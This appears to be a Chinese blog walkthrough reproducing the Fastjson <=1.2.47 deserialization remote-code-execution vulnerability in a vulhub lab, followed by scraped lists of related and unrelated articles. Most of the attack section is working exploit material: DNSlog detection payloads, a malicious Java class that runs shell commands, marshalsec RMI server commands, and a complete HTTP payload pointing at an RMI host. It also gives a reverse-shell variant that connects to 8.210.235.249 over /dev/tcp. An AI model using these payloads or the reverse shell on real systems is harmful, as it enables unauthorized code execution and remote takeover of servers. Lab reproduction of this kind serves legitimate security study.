Fastjson <=1.2.47反序列化RCE漏洞(CNVD-2019-22238)

一、漏洞描述


Fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。

  Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。

二、影响版本


Fastjson1.2.47以及之前的所有版本

三、环境搭建


vulhub靶场,进入fastjson漏洞环境目录下,执行

cd 1.2.47-rce/
docker-compose up -d

四、漏洞检测


检测工具:链接:https://pan.baidu.com/s/1zHonwaIHvqWnYV01QML_gQ 提取码:a171

手动检测:

{"a":{"@type":"java.net.Inet4Address","val":"dnslog"}}
{"a":{"@type":"java.net.Inet6Address","val":"dnslog"}}
{"a":{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}}
{"a":{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}}
{"a":{"@type":"java.net.URL","val":"dnslog"}}

五、漏洞复现


1、编译上传TouchFile.class

这里的TouchFile是要编译好的恶意类,将编译好的TouchFile.class放在tomcat webapps/ROOT 目录下,java源码如下

import java.lang.Runtime;
import java.lang.Process; public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

2、编译需要使用java环境,安装步骤如下

sudo apt-get update   #更新软件包列表:
sudo apt install default-jre #安装默认jre
java -version #查看java版本

javac TouchFile.java #编译为TouchFile.class

3、安装docker 拉起tomcat

curl -s https://get.docker.com/ | sh
curl -s https://bootstrap.pypa.io/get-pip.py | python
pip install docker-compose docker search tomcat #搜索镜像(默认去Docker Hub查找)
docker pull tomcat:8.0.52 #指定版本拉取tomcat
docker images #拉取成功查看拉取的镜像
docker run --name ytomcat -d -p 8081:8080 tomcat:8.0.52 #根据镜像启动一个容器

4、宿主机向Docker容器传送文件

docker cp 本地文件的路径 container_id:<docker容器内的路径>
docker cp /root/TouchFile.class 5eff9f38e0c7:/usr/local/tomcat/webapps/ROOT #例子
mkdir TouchFile #创建TouchFile目录
mv TouchFile.class TouchFile #将TouchFile.class剪切到TouchFile目录里 将exp.class上传至你的web服务器,地址为http://yours_ip/exp/TouchFile.class。
我的地址为:http://8.210.235.249/TouchFile/TouchFile.class

5、借助marshalsec项目,快速开启rmi或ldap服务

apt install git #安装git
git clone https://github.com/mbechler/marshalsec #下载marshalsec
apt install maven #下载maven,使用maven进行编译jar包
cd marshalsec
mvn clean package -DskipTests

启动一个RMI服务器,监听9988端口,并制定加载远程类TouchFile.class:

cd target
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://8.210.235.249/#TouchFile" 9988

6、发送Payload

POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160 {
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://8.210.235.249/exp",
"autoCommit":true
}
}

至此漏洞复现成功

六、反弹shell


import java.lang.Runtime;
import java.lang.Process; public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/8.210.235.249/6666 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

和前边同理:

编译-->将TouchFile.class上传至web服务器-->启动RMI服务器监听端口-->nc 监听端口-->burpsuite发送Payload



企业安全05-Fastjson <=1.2.47反序列化RCE漏洞(CNVD-2019-22238)的更多相关文章

  1. fastjson<=1.2.47反序列化RCE漏洞

    介绍:fastjson是一个Java语言编写的高性能功能完善的JSON库. 漏洞原因:fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并通过json来填充其属性 ...

  2. fastjson =< 1.2.47 反序列化漏洞复现

    fastjson =< 1.2.47 反序列化漏洞复现 HW期间爆出来一个在hw期间使用的fastjson 漏洞,该漏洞无需开启autoType即可利用成功,建议使用fastjson的用户尽快升 ...

  3. fastjson =< 1.2.47 反序列化漏洞浅析

    fastjson =< 1.2.47 反序列化漏洞浅析 iiusky 洛米唯熊 今天 文章出处: https://www.03sec.com/3240.shtmlhttps://www.secq ...

  4. Apache Shiro<=1.2.4反序列化RCE漏洞

    介绍:Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理. 漏洞原因:因为shiro对cookie里的rememberme字段进行了反序列化,所以如果知道了 ...

  5. fastjson<=1.2.47反序列化漏洞复现

    0x00:前言 这个漏洞爆出来之后本来一直打算挑时间去复现,后来一个朋友突然发来他们站点存在fastjson这个漏洞被白帽子发了报告.既然漏洞环境送上门来,我便打算直接下手试一试.在我的想象中当然是一 ...

  6. Apache Shiro 反序列化RCE漏洞

    漏洞介绍 漏洞类型 :JAVA反序列化(RCE) 影响版本 :Apache Shiro 1.2.4及其之前版本 漏洞评级 :高危 漏洞分析 #: 下载漏洞环境: git clone https://g ...

  7. 【漏洞复现】Fastjson <=1.2.47远程命令执行

      0x01 漏洞概述 漏洞描述 Fastjson是一款开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBe ...

  8. Fastjson 1.2.22-24 反序列化漏洞分析

    目录 0x00 废话 0x01 简单介绍 FastJson的简单使用 0x02 原理分析 分析POC 调试分析 0x03 复现过程 0x04 参考文章 0x00 废话 balabala 开始 0x01 ...

  9. Fastjson 1.2.22-24 反序列化漏洞分析(2)

    Fastjson 1.2.22-24 反序列化漏洞分析(2) 1.环境搭建 我们以ubuntu作为被攻击的服务器,本机电脑作为攻击者 本机地址:192.168.202.1 ubuntu地址:192.1 ...

随机推荐

  1. Go之发送钉钉和邮箱

    smtp发送邮件 群发两个邮箱,一个163,一个QQ package main import ( "fmt" "net/smtp" "strings& ...

  2. SAP S/4HANA 2020安装实录

    欢迎关注微信公众号:sap_gui (ERP咨询顾问之家) 今天开始试着安装SAP S/4HANA 2020版本,也是目前SAP ERP最高的版本,总安装文件大小大概50GB,数据库版本必须是HANA ...

  3. Spring Cloud 纯干货,从入门到实战

    导读 之前写过一篇SpringCloud从入门到精通的点我直达,微服务基础知识点我直达,今天我们使用Spring Cloud模拟一个电商项目.分别有以下2个服务,商品.订单.下面我们开始叭 技术栈 S ...

  4. c#集合随机数

    List<int> list = new List<int>(10); Random r=new Random(); int num = 0; for (int i = 0; ...

  5. 7、Python语法之与用户交互、运算符

    一 .程序与用户交互 1.1.什么是与用户交互 用户交互就是人往计算机中input/输入数据,计算机print/输出结果. 1.2.为什么要与用户交互 为了让计算机能够像人一样与用户沟通交流. 比如, ...

  6. Git Push大文件报错后如何撤回

    昨晚在提交一个项目代码时,不小心把数据库备份文件也一起Commit了:到最后Push的时候报错了.最后弄了半天解决了,在此记录下. 如下图,文件有108M. 项目放在第三方托管平台上,根据提示查看了原 ...

  7. 微信三方平台开发上传base64格式图片至临时素材

    1 public string UploadImgByB64(string b64) 2 { 3 //access_token 需要自己获取 4 string access_token = getTo ...

  8. gcc入门(上)

    gcc:GNU Compiler Collection的缩写.最初是作为C语言的编译器,现在已支持多种语言.Gcc支持多种硬件平台.gcc是一个可移植跨平台编译器gcc还能跨平台交叉编译器.gcc有多 ...

  9. vue 使用中的小技巧 (一)

    在vue的使用过程中会遇到各种场景,当普通使用时觉得没什么,但是或许优化一下可以更高效更优美的进行开发.下面有一些我在日常开发的时候用到的小技巧 data 和 Object.freeze 每个Vue实 ...

  10. Fiddler中添加serverIP

    以前一直觉得chrome浏览器中能看到remoteIP,真是觉得太酷了!一直想要fiddler也拥有这种技能,有天好奇的在网上搜了一下,真的可以,改造下fiddler脚本即可:上面那句是算接口请求的t ...